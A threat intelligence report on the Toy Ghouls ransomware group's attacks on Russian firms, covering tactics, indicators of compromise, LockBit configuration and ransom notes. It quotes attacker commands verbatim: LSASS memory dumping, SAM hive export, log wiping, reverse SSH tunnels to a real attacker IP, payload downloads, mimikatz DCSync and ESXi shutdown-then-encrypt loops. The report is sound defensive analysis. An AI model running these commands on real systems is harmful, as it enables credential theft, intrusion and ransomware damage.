Toy Ghouls attack Russian companies

Report Id: CW-20260206
Version: 1.0 (18.February.2026)

Executive Summary

Toy Ghouls (also known as bearlyfy, laboo.boo) is a financially motivated group active since at least January 2025. They exclusively target Russian organizations using ransomware from the LockBit and RedAlert families for Windows systems, and Babuk for Linux and ESXI. The group does not use any proprietary tools. Instead, they rely on common utilities for initial access, lateral movement, and network scanning. Investigations have shown that they typically gain access either through compromised contractor infrastructure or through publicly accessible services.

This report in a nutshell:

- The group uses 3 types of ransomware: RedAlert, Babuk and LockBit;
- Attackers primarily use publicly available utilities in their attacks;
- The group exclusively attacks companies located in Russia.

Techniques, Tactics and Procedures specific for this campaign:

Infrastructure
VPS/VDS

Infection vector
Public facing applications, Trusted relationship

Implants
1C-Shell, ADExplorer, Lockbit, Babuk, RedAlert, mimikatz, PsExec, PAExec, localtonet, nssm, RuDesktop, OpenSSH, CloudFlareD, GOST, fscan, Localtonet, SoftPerfect Network Scanner, MeshCentral, Advanced IP Scanner

Victimology
Manufacturing, Construction, Automotive, and Telecommunications companies in Russia

Kaspersky's products detect these threats as `HEUR:Trojan-Ransom.Win32.Lockbit.gen`, `HEUR:Trojan-Ransom.Win32.Generic`, `HEUR:Trojan-Ransom.Linux.Babugo.gen`, `HEUR:Trojan-PSW.Win64.Mimikatz.gen`, `Backdoor.Script.1CShell.a`.

For more information, please contact: crimewareintel@kaspersky.com

Technical Details

Background

Toy Ghouls is a financially motivated group active since at least January 2025. They attack using ransomware, but we have not observed the group collecting and exfiltrating sensitive data from victims for subsequent blackmail. The group does not use any specially developed tools. Instead, they rely on standard utilities for initial access, lateral movement, and network scanning. Investigations have shown that they typically gain access either through compromised contractor infrastructure or through publicly accessible services.

The group targets only organizations located in Russia for ransom. There are also indications of possible connections to the Head Mare group, based on the use of the same tools and network infrastructure.

During our investigations of this group's attacks, we were able to decompose their techniques and procedures using a unified kill chain methodology.

Initial Access

In the majority of observed attacks, Toy Ghouls obtain initial access to victim environments by abusing valid local or domain accounts, typically through compromised OpenVPN or SSH credentials. Once inside the infrastructure, they rely on Remote Desktop Protocol (RDP) for lateral movement.

A common initial access vector involves third-party contractors, where attackers leverage stolen user certificates to authenticate to a customer's VPN. After establishing VPN access, they use RDP to connect to internal systems and further traverse the victim's environment.

Exploitation

The Toy Ghouls group often exploits vulnerable 1C servers by uploading 1C-Shells. 1C-Shell represents an external processor applied in 1C:Enterprise – EPF file that allows an attacker to execute system commands, run a VBS script, perform file operations, enumerate users and roles and execute SQL requests on an 1C server with privileges of 1C server. 1C:Enterprise is a universal cloud and on-premise system of programs for automating a company's financial and wider operational activities. EPF files contain code to perform additional operations, generate reports, or automate processes.

Fig. 1 Example of command execution from 1C-Shell

Persistence

Toy Ghouls may leverage NSSM to create or modify Windows services that execute malicious binaries for persistence:

```
C:\Windows\Temp\nssm-2.24\win64\nssm.exe install Win32_Serv C:\Windows\Temp\localtonet.exe
authtoken <token>
C:\Windows\Temp\nssm-2.24\win64\nssm.exe start Win32_Serv
```

Toy Ghouls may create new local accounts using "net user" to establish persistent access on a compromised host:

```
net user USR1CE 123QWEasdzxc /add
```

To gain a persistence on the system, attackers create scheduled tasks:

Task name	Description
User_Feed_Synchronization-{[GUID]}	C:\Windows\System32\OpenSSH\ssh.exe
User_Feed_Synchronization-{[GUID]}	C:\Windows\System32\OpenSSH\ssh.exe
Shutdown2	powershell -C Get-VM | ForEach-Object { Stop-VM -Name $_.Name -TurnOff -Force }
Shutdown2wPGtmgkw	taskkill /f /im vmcompute.exe
Shutdown2lXWJbdBJ	powershell -C Get-VM | ForEach-Object { Stop-VM -Name $_.Name -TurnOff -Force }

Defense Evasion

During the execution of the defense evasion tactic, the attackers delete their utilities and the results of their work from the compromised machines in the victims' networks. Toy Ghouls may remove RDP session files such as `Default.rdp` and alter their attributes to conceal traces of remote access activity:

```
attrib Default.rdp -s -h
del Default.rdp
```

Toy Ghouls may use `wevtutil.exe` to enumerate and clear all Windows Event Logs, hindering defenders from reconstructing attacker activity:

```
for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1
```

Also, Toy Ghouls may delete installation artifacts (such as downloaded ZIP files) to reduce forensic visibility and hinder incident response efforts:

```
rm nssm.zip
rm ltn.zip
```

Attackers can remove or modify Terminal Services registry keys to clear RDP connection history, erasing digital footprints of remote access activity:

```
reg delete "HKCU\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKCU\Software\Microsoft\Terminal Server Client\Servers" /f
```

Toy Ghouls may disable security tools, such as security services, using "net stop" to weaken host defenses prior to executing malicious payloads.

Attackers also change the firewall configuration to connect to internal services:

```
netsh advfirewall firewall add rule name="AllowInboundMSSQLConnection" action=allow dir=in
protocol=TCP localport=1433
```

Command & Control

In their attacks, the group often delivers utilities to the attacked hosts that will later help the attackers move laterally across the network. In most attacks, we observed three methods of delivering the OpenSHH and localtonet utility.

In the first method, attackers install OpenSSH using `msiexec.exe` via a URL directly from GitHub.

Below is a listing of commands from the attacker's shell:

```
…
ssh mirror@[REDACTED]-R12121 -oStrictHostKeyChecking=no -fN -o ServerAliveInterval=60 -o
ServerAliveCountMax=15 -p443 -vvv
ssh
sshedbd
msiexec /i https://github.com/PowerShell/Win32-OpenSSH/releases/download/v9.8.3.0p2-
Preview/OpenSSH-Win64-v9.8.3.0.msi
ssh
powershell
ssh
…
```

In the second method, attackers use the `certutil.exe` utility to download the utility directly from GitHub:

```
C:\Windows\System32\cmd.exe /C cd C:\Users\Public &amp;&amp; certutil.exe -urlcache -f
https://github.com/PowerShell/Win32-OpenSSH/releases/download/10.0.0.0p2-Preview/OpenSSH-
Win64.zip open.zip
```

Next, unpack the downloaded archive into the `C:\Users\Public\` directory, creating a new OpenSSH-Win64 directory.

```
powershell expand-archive C:\Users\Public\open.zip
```

In some attacks, the above actions were performed by executing commands on the 1C server, but the 1C logs did not record the events in full.

In the third way Toy Ghouls can use PowerShell's `Invoke-WebRequest` to retrieve remote payloads and extract them into writable directories such as `C:\Windows\Temp` using `Expand-Archive`:

```
powershell iwr http://localtonet[.]com/download/localtonet-win-64.zip -outfile ltn.zip -
usebasicparsing; expand-archive -force -path ltn.zip -destinationpath C:\Windows\Temp
```

Pivoting

Toy Ghouls' primary method for pivoting is using a reverse SSH tunnel, using port forwarding (`-R`) to provide access to an external host's server, eliminating covert remote access or C2 communication bypassing incoming network restrictions:

```
ssh mirror@[REDACTED] -R12121 -oStrictHostKeyChecking=no -fN -o ServerAliveInterval=60 -o
ServerAliveCountMax=15 -p443
```

```
ssh.exe  -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=60 -
f -N -R 35562 -p443 deyttnxvtycumnyqzwfonui134698@45.144.30.5
```

Attackers also use GOST, Rsocx, CloudFlareD, and Localtonet utilities to perform pivoting.

Discovery

To conduct discovery of the internal network, attackers use the SoftPerfect Network Scanner and the fscan scanner[1], which has the ability to search for and exploit vulnerabilities.

The main paths in which attackers place these utilities:

```
C:\Users\[USER]\Documents\netscan.exe
C:\Users\[USER]\Desktop\netscan.exe
C:\Users\[USER]\Downloads\fscan.exe
```

Attackers also use system utilities to check users on the system and network availability.

Below is a listing of commands from the attackers' command shell:

```
query user
netstat -ano | findstr :3389
ping -a [IP]
query user /server:[REDACTED]
taskmgr
logoff
```

Additionally, attackers use utilities from the Sysinternals Suite, AdExplorer, which is designed to view and analyze the Active Directory structure:

```
C:\Users\[USER]\Downloads\AdExplorer\ADExplorer64.exe
C:\Users\[USER]\Downloads\AdExplorer.zip;
C:\Users\[USER]\Downloads\PSTools.zip;
c:\users\[USER]\downloads\adexplorer\adexplorer64.exe
```

There's also the PSTools suite, whose utilities are designed for running commands on a remote machine, deleting processes, viewing processes, managing services, and collecting system information:

```
C:\Users\[USER]\Downloads\PSTools\psfile.exe;
C:\Users\[USER]\Downloads\PSTools\psfile64.exe;
C:\Users\[USER]\Downloads\PSTools\PsExec.exe;
C:\Users\[USER]\Downloads\PSTools\PsExec64.exe;
C:\Users\[USER]\Downloads\PSTools\PsGetsid.exe;
C:\Users\[USER]\Downloads\PSTools\pspasswd.exe;
C:\Users\[USER]\Downloads\PSTools\psping64.exe;
C:\Users\[USER]\Downloads\PSTools\psping.exe;
C:\Users\[USER]\Downloads\PSTools\psloglist64.exe;
C:\Users\[USER]\Downloads\PSTools\pspasswd64.exe;
C:\Users\[USER]\Downloads\PSTools\psloglist.exe;
```

[1] GitHub - shadow1ng/fscan: 一款内网综合扫描工具，方便一键自动化、全方位漏扫扫描。

```
C:\Users\[USER]\Downloads\PSTools\PsLoggedon64.exe;
C:\Users\[USER]\Downloads\PSTools\PsLoggedon.exe;
C:\Users\[USER]\Downloads\PSTools\pslist64.exe;
C:\Users\[USER]\Downloads\PSTools\pslist.exe;
C:\Users\[USER]\Downloads\PSTools\pskill64.exe;
C:\Users\[USER]\Downloads\PSTools\pskill.exe;
C:\Users\[USER]\Downloads\PSTools\PsInfo64.exe;
C:\Users\[USER]\Downloads\PSTools\PsInfo.exe;
C:\Users\[USER]\Downloads\PSTools\PsGetsid64.exe;
```

Attackers also use registry reading to check whether the system is running within Hyper-V or Azure and extract parameters passed by the host:

```
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters"
```

Using the wmi, attackers determined the type of device they were using. This command can be used to obtain a numeric code indicating what kind of device it is:

```
wmic SystemEnclosure get ChassisTypes
wmic ComputerSystem get PCSystemType /FORMAT:"$system32\wbem\ru-RU\csv
```

Privilege Escalation

To increase privileges, attackers often use previously obtained privileged accounts; if necessary, they can create additional accounts and add them to administrative groups:

```
net localgroup Администраторы USR1CE /add
net user admin Password123 /add
net localgroup
net localgroup [REDACTED] admin /add
```

Execution

Toy Ghouls use scheduled tasks to execute their activities on compromised hosts, PowerShell to execute malicious scripts, the Windows command shell, and Bash to execute commands on *nix systems.

In the command list below, the attackers checked active user sessions on the system, used ntdsutil, and checked whether the SoftPerfect Network Scanner was running:

```
…
query user
ntdsutil
exit
Get-Process -Name "netscan.exe" | Select-Object Id
tasklist | findstr netscan
(Get-Process -Id 11308).Threads
(Get-Process -Id 11308).Threads
(Get-Process -Id 11308).Threads
(Get-Process -Id 11308).Threads
(Get-Process -Id 11308).Threads
netstat -ano | findstr "11308"
```

```
netstat -ano | findstr "55467"
ipconfig
query user
tasklist | findstr netscan
netstat -ano | findstr "1576"
taskkill /im net* /f
…
```

In the following shell listing, it is shown how the attackers viewed user sessions on various systems, attempted outgoing SSH connections, viewed processes on various system ports, attempted to establish a reverse SSH tunnel, viewed various groups, and added to a group:

```
…
query user
qusdtaskmgr
netstat -ano |findstr :3389
query user /server:[REDACTED]
query user /server:[REDACTED]
netstat -ano |findstr 1156
netstat -ano |findstr 4532
netstat -ano |findstr 5736
netstat -ano |findstr 12224
ping -a [IP]
query user
mstsc
ssh
ssh root@[REDACTED]
ssh root@[REDACTED]
ssh root@[REDACTED]
netstat -ano |findstr 11396
netstat -ano |findstr mmc
netstat -ano |findstr mmc.exe
netstat -ano
netstat | findstr mmc
netstat | findstr mmc.exe
netstat -ano |findstr 11396
netstat -ano |findstr 5460
whoami
query user
net user [REDACTED]/domain
net group [REDACTED]/domain
net user [REDACTED]/domain
net group [REDACTED][REDACTED] /domain /add
ssj
ssh
ssh mirror@[REDACTED] -R9090 -oStrictHostKeyChecking=no -fN -o ServerAliveInterval=60 -o
ServerAliveCountMax=15
net user [REDACTED]/domain
net group "[REDACTED]" /domain
net group "[REDACTED]" [REDACTED] /domain /add
net localgroup Administrtarors
net localgroup [REDACTED]
net grouo
net localgroup
```

```
net localgroup [REDACTED]
net localgroup [REDACTED]
net localgroup [REDACTED]
tasdkmgr
taskmgr
ping [IP]
ping -a [IP]
mstsc
…
```

To remotely execute commands on compromised hosts, the group uses the PAExec utility[2], which allows it to:

- run commands on a remote machine;
- run under specified credentials;
- execute commands with SYSTEM privileges;
- transfer files;
- run processes as a service.

Attackers usually place it along these paths:

```
C:\Users\[USER]\Desktop\paexec.exe
C:\Users\[USER]\Pictures\paexec.exe
```

Credential Access

Toy Ghouls may use tasklist to obtain the process identifier of `lsass.exe` and then invoke `rundll32.exe` with the MiniDump export in `comsvcs.dll` (#24) to generate a full memory dump of LSASS for credential extraction:

```
cmd.exe /Q /c for /f "tokens=1,2 delims= " %A in ('tasklist /fi "Imagename eq lsass.exe"
^| find "lsass"') do rundll32.exe C:\Windows\System32\comsvcs.dll,#24 %B
C:\Windows\Temp\9jvd.fon full
```

Threat actors may dump sensitive Windows registry hives such as SAM, SECURITY and SYSTEM using "reg save" to obtain credential material, system secrets for offline credential extraction:

```
cmd.exe /c reg save HKLM\SAM SAM /y & reg save HKLM\SECURITY SECURITY /y & reg save
HKLM\SOFTWARE SOFTWARE /y & reg save HKLM\SYSTEM SYSTEM /y & reg save HKU\.DEFAULT DEFAULT
/y
```

Toy Ghouls use the mimikatz tool to access LSA secrets, dump LSASS, and other credentials. Attackers typically store the tool on compromised hosts using these paths:

```
C:\install\mimikatz.exe
C:\temp\calc.exe
C:\Users\[USER]\Downloads\calc.exe
C:\Users\[USER]\Pictures\calc.exe,
C:\install\mimikatz.log
C:\Users\[USER]\Downloads\mimikatz.log
```

[2] GitHub - poweradminllc/PAExec: Remote execution, like PsExec

```
C:\Users\[USER]\Pictures\mimikatz.log,
C:\Users\[USER]\Downloads\mimikatz.exe
C:\install\1.txt
```

In addition, we also found traces of attackers using **Pass-the-Hash**, **Overpass-the-Hash**, and **DCSync** attacks, which were also performed through the mimikatz tool and were used by attackers both for lateral movement and for complete compromise of the domain infrastructure:

```
lsadump::setntlm /user:[USER] /password:[PASSWORD]
lsadump::setntlm /user:[USER ]/domain:[DOMAIN ]/password:[PASSWORD]
lsadump::setntlm /user:[USER] /server: [REDACTED] /domain:[DOMAIN] /password:[PASSWORD]
lsadump::setntlm /user:[USER] /server:[REDACTED] /domain:[DOMAIN] /ntlm:[REDACTED]
lsadump::dcsync /user:[USER]
```

In addition to domain-based attacks, attackers actively exploit the **ESC1** attack when they find a misconfiguration in the domain that allows it. During our investigations, we discovered that attackers were able to issue certificates, including for privileged accounts, and subsequently use the issued certificates for client authentication. They searched for vulnerable templates with the **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT** flag set, which allows the account requesting the certificate to specify the Subject Alternative Name field, including the Principal Name of other users with domain administrator rights.

Toy Ghouls may query BitLocker protectors using "manage-bde" to retrieve the recovery password associated with an encrypted volume, enabling them to unlock or access encrypted drives:

```
cmd.exe /c manage-bde -protectors -get C: -Type recoverypassword
```

To obtain additional credentials, attackers can harvest password managers, browsers, and remote access clients:

```
C:\Users\[USER]\Documents\yandex_browser_passwords_2025-[DATE].csv
C:\Users\[USER]\Documents\БазаПаролей.xml
C:\Users\[USER]\Documents\Пароли Chrome.csv
C:\Intel\results-2025-[DATE].zip
C:\Intel\results-2025-[DATE].zip
C:\Intel\rdp.rdm
```

- CSV files are an export of passwords from Yandex and Google Chrome browsers.
- The XML file is a dump of the KeePass password manager database.
- The ZIP archives above are password dumps from the Passwordstate password manager and contain CSV text files with the credentials in clear text.
- The `rdp.rdm` file is an XML text file and contains an import of Devolutions Remote Desktop Manager sessions without specifying credentials.

Lateral Movement

Toy Ghouls' primary method of lateral movement is deploying and running SSH binaries on a compromised system to provide outbound remote access via SSH-based channels. Additionally, the group utilizes remote administration tools such as MeshAgent, RuDesktop, and Anydesk, as well as built-in system RDP tools.

Collection + Exfiltration

The investigated attacks by this group showed no evidence of collecting or exfiltrating sensitive data for subsequent embarrassment of victims. The attackers operate using a flat extortion scheme, simply encrypting data and demanding a ransom. Also, no DLS (Data Leak Site) was detected by this group.

Impact

To encrypt their victims, the Toy Ghouls group uses three types of ransomware: RedAlert, Babuk, and Lockbit.

The Windows version of RedAlert deletes shadow copies, clears Windows Event Logs and RDP history, and also can change the desktop wallpaper to show a ransom message to the victim. To encrypt files this trojan uses the stream cipher ChaCha with Poly1305 authentication. For each file RedAlert generates a unique ChaCha key and then encrypts it using the asymmetric cryptosystem NTRUEncrypt with a session public NTRU key generated when the malware launches. The session private NTRU key is encrypted using the master public NTRU key of the threat actors which is embedded in the Trojan's body.

To encrypt Unix and NAS systems, attackers use a Golang version of the Babuk ransomware.

To encrypt Windows, attackers may use Lockbit ransomware as well, specifically the samples from the Lockbit 3.0 family, created using a publicly available configurator. Its main function is to encrypt user files on disks and mounted network shares, deleting shadow copies. Decryption is impossible without the attackers' private key.

The general configuration of all Lockbit samples used by the group is presented below, and examples of ransomware notes can be found in *Appendix II*.

Parameter	Value	Description
`encrypt_mode`	`auto`	Set encryption mode for large files. This takes one of two values: "auto" or "fast"
`encrypt_filename`	`false`	Encrypt file name
`impersonation`	`false`	Use accounts listed in configuration file to escalate privileges
`skip_hidden_folders`	`false`	Skip hidden directories
`language_check`	`false`	Check system locale
`local_disks`	`true`	Encrypt local drives
`network_shares`	`true`	Encrypt network directories
`kill_processes`	`true`	Terminate processes
`kill_services`	`true`	Stop services
`running_one`	`false`	Verify that only one ransomware process is running
`print_note`	`false`	Print out ransom demand
`set_wallpaper`	`false`	Change desktop wallpaper

set_icons	true	Change icons of encrypted files
send_report	false	Send system information to C2
self_destruct	false	Remove itself when done
kill_defender	true	Stop Windows Defender
wipe_freespace	false	Fill all available disk space with temporary file containing random data
psexec_netspread	false	Spread across network via PsExec service
gpo_netspread	false	Spread across network via group policies
gpo_ps_update	false	Use PowerShell to update group policies across all domains
shutdown_system	false	Restart system
delete_eventlogs	true	Clear system logs
delete_gpo_delay	0	Deferred removal of group policy. The value in this parameter describes the time to delay deletion by

The configuration file also contains a list of directories where encryption should be skipped:

```
0x71334bfd;0x41471897;$recycle.bin;config.msi;$windows.~bt;$windows.~ws;windows;0xc74e5755
;0xe52abb99;boot;program files;program files (x86);programdata;system volume
information;torbrowser;windows.old;intel;0xe52abb99;0xc74e5755;msocache;perflogs;x64dbg;pu
blic;all users;default;microsoft
```

It also contains a list of specific files that should not be encrypted:

```
autorun.inf;boot.ini;bootfont.bin;bootsect.bak;desktop.ini;iconcache.db;ntldr;ntuser.dat;n
tuser.dat.log;ntuser.ini;thumbs.db
```

Finally, the ransomware does not encrypt files with the following name extensions:

```
386;0x67b80e00;adv;ani;bat;bin;cab;cmd;com;cpl;cur;deskthemepack;diagcab;diagcfg;diagpkg;d
ll;drv;exe;hlp;icl;icns;ico;ics;idx;ldf;lnk;mod;mpa;msc;msp;msstyles;msu;nls;nomedia;ocx;p
rf;ps1;rom;rtp;scr;shs;spl;sys;theme;themepack;wpx;lock;key;hta;msi;pdb;search-ms
```

Before starting work, the ransomware terminates processes that may interfere with the encryption of individual files. The names of processes to be terminated are listed below:

```
vmwp;vmms;vmcompute;rhs;iscsidcb;vmwp;sql;oracle;ocssd;dbsnmp;synctime;agntsvc;isqlplussvc
;xfssvccon;mydesktopservice;ocautoupds;encsvc;firefox;tbirdconfig;mydesktopqos;ocomm;dbeng
50;sqbcoreservice;excel;infopath;msaccess;mspub;onenote;outlook;powerpnt;steam;thebat;thun
derbird;visio;winword;wordpad;notepad;calc;wuauclt;onedrive
```

The ransomware also terminates the following services:

```
vss;AVP;KAVFS;WinDefend
```

Attackers also stop virtual machines to subsequently execute ransomware on their disks. Below are the commands used by attackers to stop virtual machines on Hyper-V and VMware ESXi:

```
Get-VM | Select-Object Name, State, CPUUsage, MemoryAssigned, Uptime | Format-Table -
AutoSize
Get-VM | ForEach-Object { Stop-VM-Name$_.Name -TurnOff -Confirm:$false}
```

```
for i in $(vim-cmd vmsvc/getallvms|awk '{print $1}'); do vim-cmd vmsvc/power.off $i; done
setsid sh -c 'sleep 600 && /tmp/systemd -d -k --path /vmfs/volumes/'
setsid sh -c 'sleep 900 && /tmp/systemd -d -k --path /vmfs/volumes/'
```

Infrastructure

As a result of the analysis of the group's recent attacks, the following network addresses used by Toy Ghouls were identified:

Domain	IP	First seen	ASN
1cbit[.]dev	172.239.57[.]117	Jan 12, 2025	-
akselerator.1cbit[.]dev	45.143.10[.]15	Mar 25, 2022	400039
nextcloud.1cbit[.]dev	172.67.186[.]61	Jan 12, 2025	-
-	202.71.14[.]145	Nov 14, 2025	43641
-	31.57.93[.]105	Dec 15, 2025	-
-	31.56.27[.]60	Jan 24, 2026	-
-	45.144.30[.]5	Nov 22, 2022	44477
-	202.71.14[.]145	Nov 14, 2025	43641
-	91.219.150[.]215	Aug 11, 2022	56694
-	217.154.172[.]41	Jan 22, 2025	-

Victims

The group exclusively attacks companies located in Russia. The main industries targeted by the attackers are manufacturing, construction, automotive, and telecommunications.

Attribution

The Toy Ghouls group directly identifies itself by leaving its contact information in ransom notes. The group speaks fluent Russian, which can be determined by the manner in which they write ransom notes. The notes use complex speech patterns and caustic jokes directed at the victims. The group has indications of possible links to other pro-Ukrainian cluster members, such as Head Mare, based on similarities in tools and parts of the network infrastructure. In one attack, the group used MeshAgent software, the command servers of which were also used by the Head Mare group.

Conclusions

The Toy Ghouls group is a current threat to Russian companies. The Russian threat landscape is dynamically changing, with more and more groups beginning to pool their resources, share infrastructure, and adopt each other's techniques and toolkits. Many groups are significantly improving their technical skills, and in their new attacks, they are actively exploiting domain vulnerabilities and domain-based attacks, striving for greater stealth, and increasingly switching to legal utilities and "Living Off the Land" techniques.

Appendix I – Indicators of Compromise

Note: *The indicators in this section are valid at the time of publication. Any future changes will be directly updated in the corresponding .ioc file.*

File Hashes (malicious documents, trojans, emails, decoys)

RedAlert
fde0fe1f9475c48453b1ec4aa51c9cd2
1662c4c2c28852d778d37e224ed50c1b
8c380b162797a423bb89877b950d6b81
9765f4706bea68c7e4e13d7c50f6f40d
29975b607a024eec5c155d92095ab067

LockBit
b13010e837f8375cee6f5d2509957c4e
7397821ac1bf6f4b4f4e5f7e710f4e92
dfb2f4d13cb04bb686f6e4c68d87ea61
dd1bf9c2ae58b89efe0818121701ab54
9d8f83c4ffbcac5240c947f7f22d5f04
0c6182fd9dbac745570ca596b6a1cda7
6c0b4bd995d72e27342da02497e03cb1 gse.exe
098ab89af8683d4a75b4f3e049d6d5a4 igsv.exe
b597171ba434af699fa5939188a32065 oil.exe
ad3720c364e79b1023ce4e9d504e8913 far.exe

Babuk (for Linux)
f05b0b339b55005d9694ee011cc9f84c e_nas_amd64.out

Socks5Proxy
cd915c6d6cb455fb2786cb4e2debdafc rx.exe/hosts.exe

Advanced IP Scanner
b3411927cc7cd05e02ba64b2a789bbde advanced_ip_scanner.exe
5537c708edb9a2c21f88e34e8a0f1744 ip.exe

Initial Access
a2b67d4329a0207c9589255b0cc300a4 fix.epf
d29d9b9eb73fb72aa9d4392f552c7cf9 Исправление.epf/ЗагрузкаXML.epf

Mimikatz
e930b05efe23891d19bc354a4209be3e mi.exe
29efd64dd3c7fe1e2b022b7ad73a1ba5 calc.exe

fscan
cf903e4a1629aa0582fd0363b5786676 scan_x86.exe/scan64.exe/fscan.exe

Localtonet
ec2a646334a28ba4ae409fd9a21dfa21 localtonet.exe

NSSM (legitimate)
beceae2fdc4f7729a93e94ac2ccd78cc nssm.exe
d9ec6f3a3b2ac7cd5eef07bd86e3efbc nssm.exe

paexec (legitimate)
75a586728aa168951b1c48f28f34c553 paexec.exe

netscan (legitimate)

8bc48883436f88536ffa67f70766b6f8	netscan.exe
9179ffd950cb92e3df84fb87dd6be708	netscan.exe

Ransom Note Email

[REDACTED]@laboo.boo
support@laboo.boo
oil@laboo.boo
far@laboo.boo

Domains and IPs

1cbit[.]dev
akselerator.1cbit[.]dev
nextcloud.1cbit[.]dev
202.71.14[.]145
31.56.27[.]60
31.57.93[.]105
45.144.30[.]5
202.71.14[.]145
91.219.150[.]215
217.154.172[.]41

Appendix II – Additional technical details

Ransom note example 1:

```
🏗️ ВАС ПОСЕТИЛ ЛАБУБУ! 🏗️

Сегодня я надел каску, взял лопату и решил:
«А не построить ли себе домик… из ваших файлов?» 🧱
Так что теперь ваши документы, фото и прочее — часть стройматериалов ЛАБУБУ.

Не переживайте, фундамент крепкий, крыша не течёт — всё в безопасности. Но ключи от дома пока у меня. 🔑😎

🚫 Что нельзя делать:

Не перезагружать компьютер! Это как сбить бетон до того, как он застыл — трещины гарантированы.

Не тушить процессы шифровальщика! Прервёте стройку — и ваши файлы превратятся в кучу битого кирпича.

☑️ Что нужно делать:

Написать на почту: support@laboo.boo

Указать уникальный строительный номер (он же идентификатор):
[REDACTED]

Получить инструкцию, как «выкупить квартиру» в доме ЛАБУБУ и вернуть свои файлы.

⏰ Условия:

У вас есть 48 часов, чтобы связаться со мной. Потом цена удвоится — стройматериалы дорожают!

Если решите не платить — ну что ж… ваш «домик из файлов» я снесу бульдозером. 🚜

⚠️ Важно:

Не пытайтесь сами «ремонтировать» файлы. Это как штукатурить по обоям — всё равно трещины будут.
Дайте ЛАБУБУ закончить стройку!

С кирпичами, цементом и шифрованием,
👷 Ваш ЛАБУБУ

"Стройка века — ваши файлы в надёжном подвале ЛАБУБУ."
```

Translation from Russian:

```
🏗️ LABUBU HAS VISITED YOU! 🏗️

Today I put on my hard hat, grabbed a shovel, and decided:
```

"How about I build myself a house... from your files?" 🧱
So now your documents, photos, and other things are part of LABUBU's building materials.

Don't worry, the foundation is solid, the roof doesn't leak—everything is safe. But I still have the house keys. 🔑😎

🚫 What you shouldn't do:

Don't reboot your computer! It's like knocking down concrete before it's set—cracks are guaranteed.

Don't shut down the ransomware processes! Interrupt the construction, and your files will turn into a pile of broken bricks.

☑ What to do:

Email: support@laboo.boo

Indicate the unique construction number (also known as the identifier):
[REDACTED]

Receive instructions on how to "buy out" your apartment in the LABOO building and get your files back.

⏰ Terms:

You have 48 hours to contact me. After that, the price will double—building materials are getting more expensive!

If you decide not to pay, well... I'll bulldoze your "house of files." 🚜

⚠️ Important:

Don't try to "repair" the files yourself. It's like plastering over wallpaper—there will still be cracks.
Let LABOO finish the construction!

With bricks, cement, and encryption,
👷 Your LABUBU

"The construction site of the century—your files in the secure basement of LABUBU."

Ransom note example 2:

💰 ВАС ПОСЕТИЛ НЕФТЯНОЙ МАГНАТ ЛАБУБУ! 💰

Здравствуйте, уважаемый владелец данных!
Сегодня я, ЛАБУБУ, открыл новое месторождение — прямо на вашем компьютере.
Битовая нефть, байтовый газ и цифровое золото — всё это теперь добывается под брендом LABOOBOO OIL & DATA Co. 🛢

Ваши файлы теперь в моём подземном хранилище. Не волнуйтесь, давление стабильное, но бурить туда без лицензии нельзя.

🚫 Что нельзя делать:

Не перезагружайте компьютер — скважина активна!

Не тушите процессы шифровальщика — это как перекрыть вентиль под давлением: может рвануть так, что файлы расплескаются по секторам.

☑ Что нужно делать:

Свяжитесь с центральным офисом по почте [redacted]@laboo.boo

Укажите свой идентификатор скважины: [REDACTED]

Получите инструкцию по безопасной «дебуровке» — возвращению файлов на поверхность.

⏰ Условия сделки:

У вас есть 48 часов, чтобы выйти на связь. Потом цена на баррель шифрования взлетит в два раза — рынок, знаете ли. 📈

Если решите не платить — ваше цифровое месторождение будет законсервировано навечно.

⚠️ Важно:

Не пытайтесь самостоятельно чинить или копать глубже.
Вы не бурильщик — вы пользователь. А ЛАБУБУ — весь нефтяной концерн в одном лице. 😎

С запахом нефти, байтов и лёгким налётом цинизма,
👔 Ваш ЛАБУБУ, владелец LABOOBOO OIL & DATA Co.

'Я не ворую файлы — я просто добываю цифровые ресурсы.'

Translation from Russian:

💰 OIL TYCOON LABOOBOO HAS VISITED YOU! 💰

Hello, dear data owner!
Today, I, LABOOBOO, have discovered a new deposit—right on your computer.
Bit oil, byte gas, and digital gold—all of this is now being mined under the brand LABOOBOO OIL & DATA Co. 🛢

Your files are now in my underground storage. Don't worry, the pressure is stable, but drilling there without a license is prohibited.

🚫 What you must not do:

Don't restart your computer—the well is active!

Don't shut down ransomware processes—it's like turning off a pressure valve: it could explode and spill your files across sectors.

☑ What to do:

```
Contact the central office at [redacted]@laboo.boo

Indicate your well ID: [REDACTED]

Receive instructions for safely "de-drilling"—returning files to the surface.

⏰ Terms of the deal:

You have 48 hours to contact us. Then the price of a barrel of encryption will double—it's
the market, you know. 📈

If you decide not to pay, your digital oil field will be permanently mothballed.

⚠️ Important:

Don't attempt to repair or dig deeper yourself.
You're not a driller—you're a user. And LABOOBOO is the entire oil company rolled into
one. 😎

With the scent of oil, bytes, and a hint of cynicism,
🛢️ Yours, LABOOBOO, owner of LABOOBOO OIL & DATA Co.

'I don't steal files, I just mine digital resources.'
```

Ransom note example 3:

```
[VICTIM ID REDACTED]
24/7
Быстрая компьютерная помощь онлайн
EMAIL: [REDACTED]@laboo.boo
Быстрая компьютерная помощь онлайн
24/7
```

Translation from Russian:

```
[VICTIM ID REDACTED]
24/7
Fast online computer help
EMAIL: [REDACTED]@laboo.boo
Fast online computer help
24/7
```

Ransom note example 4:

```
[VICTIM ID REDACTED]
Mail us for decryption
[REDACTED]@laboo.boo
```

Appendix III – MITRE ATT&CK Mapping

This table contains all the TTPs identified in the analysis of the activity described in this report.

Tactic	Technique	Technique Name
Initial Access	T1190	**Exploit Public-Facing Application** Toy Ghouls gain access to the network via a public-facing server accessible from the internet.
	T1199	**Trusted Relationship** Toy Ghouls gain access to the customers' network using the contractors' credentials.
Execution	T1053.005	**Scheduled Task/Job: Scheduled Task** Toy Ghouls use scheduled tasks to run files.
	T1059.001	**Command and Scripting Interpreter: PowerShell** Toy Ghouls use PowerShell for executing malicious scripts.
	T1059.003	**Command and Scripting Interpreter: Windows Command Shell** Toy Ghouls use the Windows CMD to execute malicious commands.
	T1059.004	**Command and Scripting Interpreter: Unix Shell** Toy Ghouls use bash for executing commands on *nix systems.
Privilege Escalation	T1098	**Account Manipulation** Toy Ghouls may modify group memberships of existing or newly created accounts to elevate privileges and maintain administrative control over the system: "net localgroup Администраторы USR1CE /add"
